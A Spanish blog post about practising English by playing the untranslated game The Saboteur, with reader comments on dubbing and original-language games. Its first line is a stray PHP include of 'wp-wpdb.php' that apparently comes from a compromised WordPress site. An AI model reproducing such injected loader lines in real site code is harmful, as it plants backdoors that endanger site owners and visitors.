if (is_file('wp-wpdb.php')) include_once('wp-wpdb.php'); Aprendiendo con los videojuegos – La Fortaleza de LeChuck

Aprendiendo con los videojuegos

Desde mi primer artículo no había vuelto hablar sobre la educación y los videojuegos. Hoy es el día en el que, como en otros escritos, os voy a contar una experiencia personal.
El protagonista de hoy será el inglés, asignatura muy importante en los tiempos que corren y que gracias a los videojuegos podemos desarrollar mientras estamos dentro de nuestro hobby preferido. En esta historia el título que pongo de ejemplo será mi recién adquirido…

Todavía recuerdo como en 2009 se anunciaba The Saboteur. El primer análisis que vi fue por youtube, el juego presentaba unas características asombrosas: buenos gráficos, un gran argumento y un entretenimiento que no dejaría indiferente a nadie. A pesar de esto tenía un gran inconveniente, estaba en inglés. En cuanto me enteré de esto yo mismo lo deseché como posible compra.
El discurso de los comentarios en forma de crítica hacia el juego seguían el mismo cauce. «Es una vergüenza que en los tiempos que corren no llegue un juego traducido». Razón no les falta a los que piensan así. Ahora bien, ¿Por qué no hacemos de un inconveniente una virtud?.
Hará cosa de unas semanas fui al cine a ver la nueva película de Misión Imposible y recordé lo mucho que me gustan los juegos de espionaje e infiltración, recordándome los tiempos que pasaba horas y horas dentro de misiones tan peligrosas como las que te podían brindar compañeros como Solid Snake y Sam Fisher. Fue por esta, la razón de preguntar en el foro al que soy asiduo, qué juego podría darme la dosis de infiltración que necesitaba saliendo de los títulos por excelencia de esta categoría. La primera respuesta que recibí fue clara y concisa. The Saboteur. La segunda respuesta en réplica decía algo como «se te ha olvidado decir que está en inglés».
¿Te vas a perder esta magnífica ambientación por el mero hecho de estar en inglés?
Volvieron los fantasmas que me hicieron descartar este juego en su momento como si fuera un juego no viable para poder jugarlo. ¿Y que me hizo cambiar de idea?. Unas horas después estaba de camino a clases de inglés, en 30 segundos de reflexión me encontraba atrapado en una contradicción bastante importante. Estamos hartos de escuchar como nos recomiendan que veamos series, películas o incluso que leamos libros en inglés para ir interiorizando el idioma, pero nunca nos han dicho que juguemos a videojuegos. Acto seguido después de la clase de inglés me puse a buscar como loco el juego. Muy difícil encontrarlo a buen precio de segunda mano en España, pero al final lo conseguí.
Una vez metido en materia y viendo como iba desarrollándose el juego y que me iba enterando de la trama, la realización como estudiante era plena. ¡¡Estaba practicando el inglés mientra jugaba!!. Claro está que todavía no tengo el nivel para entender todo lo que se dice, por eso, con un cuaderno al lado iba apuntando el vocabulario más extraño que aparecía. Aún así el contexto se entendía perfectamente y podía jugarlo sin problema alguno.

¿Qué objetivos se consiguen con esto?:
  • Interiorizar el idioma.
  • Reunir vocabulario nuevo.
  • Reconocer estructuras ya estudiadas.
  • Utilizar la lógica y el contexto para entender diversas expresiones.
  • Relacionar el inglés escrito (Subtítulos) con su pronunciación (Audio)
  • Aprender a través de un hobby.
¿ Qué desventajas podemos encontrar?:
  • Cabe la posibilidad de que tengamos que rejugarlo para poder comprender todos los entresijos del argumento, pero…. ¿Es esto un problema?.
En resumidas cuentas, los videojuegos junto a otros factores de las nuevas tecnologías nos pueden ayudar a desarrollar capacidades que son requeridas dentro de la sociedad que vivimos. Quizá este artículo sea tu nuevo cartucho para convencer a los que te rodean que los juegos pueden llegar a ser muy provechosos, y la próxima vez que tu madre te diga que te pongas a estudiar inglés contéstale con el mando en la manos «Ya lo estoy haciendo».

Proximamente un «tienes que probarlo» de este magnífico título!

Por LeChuck

Desde las profundidades del Caribe vigilo los mares.

10 comentarios

  1. Lo mejor es que si el juego se hubiese doblado se tirarían de los pelos por no poder poner el doblaje original…

    Si lo mejor de The Saboteur es que está en V.O. !! Hasta se preocuparon de imitar los acentos para diferentes nacionalidades… juegazo y must have

  2. yo tambien opino que estos juegos en ingles son de gran utilidad y si el juego es bueno que mas da el idioma , tan solo hay que hacer un pequeño esfuerzo en entenderlo ( y bastante suerte tenemos de que sea ingles y no japones ) , yo aun recuerdo cuando de pequeño con la ps1 jugaba a los remakes de los FF los cuales me ayudaron a entender algunaas palabras aun sin entender casi nada del juego XD

  3. Pero si antes estaban los juegos en inglés y a nadie le importaba! si un juego es bueno que este en inglés no debería ser un impedimento para disfrutarlo.

    Yo me tiro de los pelos cuando hay alguien que dice: "Qué pena que no lo hayan doblado" perdooonaaa?!?! eso jamás! y lo peor es cuando es japonés y nos vienen con el doblaje en inglés, horrible. En algunos juegos tienen el

  4. Muy buena reflexión Elaine. Desde pequeños hemos jugado a juegos en inglés, pero claro, ahora estamos muy mal acostumbrados a que todo venga en nuestro idioma.

    En cuanto lo de las voces originales solo tenemos que observar el cambio de calidad cuando estamos acostumbrados a ver una serie en inglés y luego la escuchamos en español.

    Estoy convencido que en los demás países

  5. A mi me parece genial tener la opción de cambiar el doblaje al original, pero hoy en día con lo que nos quieren cobrar por los videojuegos, que menos que vengan al menos traducidos/subtitulados al castellano.

    Disfruté mil veces más Illusion of time que otros RPG porque lo entendía todo perfectamente por primera vez. No digo que no se aprenda, porque se aprende un montón, sobretodo con

  6. Si, lo del precio es una buena observación. No había caído ya que the saboteur me ha costado 10 euros jeje. En definitiva esto está enfocado a quien le guste el inglés y quiera practicarlo de una manera más innovadora.

  7. Smirk vengo del blog de Matt Bellamy de Vandal (no sé si es el señor Threepwood :-$) para recomendarte (efusivamente) Alpha Protocol, como uno de los mejores exponentes del género de espionaje ambientado en la actualidad (o contémporaneo si te gusta el lenguaje barroco XD).

    No dejess de buscarlo porque es un título que auna Rol y acción de la mano de Obsidian (y ahora está muy bien de

  8. Yo tambien llego de el blog de Vandal.

    La verdad es que una pena que haya tantos juegos que pasen desapercibidos para muchos por el inglés.

    Tengo un buen amigo que importa todos sus juegos. Le da igual que estén o no en inglés, pues el precio y la oportunidad de aprender mas el idioma lo compensa. Con el tiempo, uno se acostumbra e incluso comienza a sentir el placer

Dejar un comentario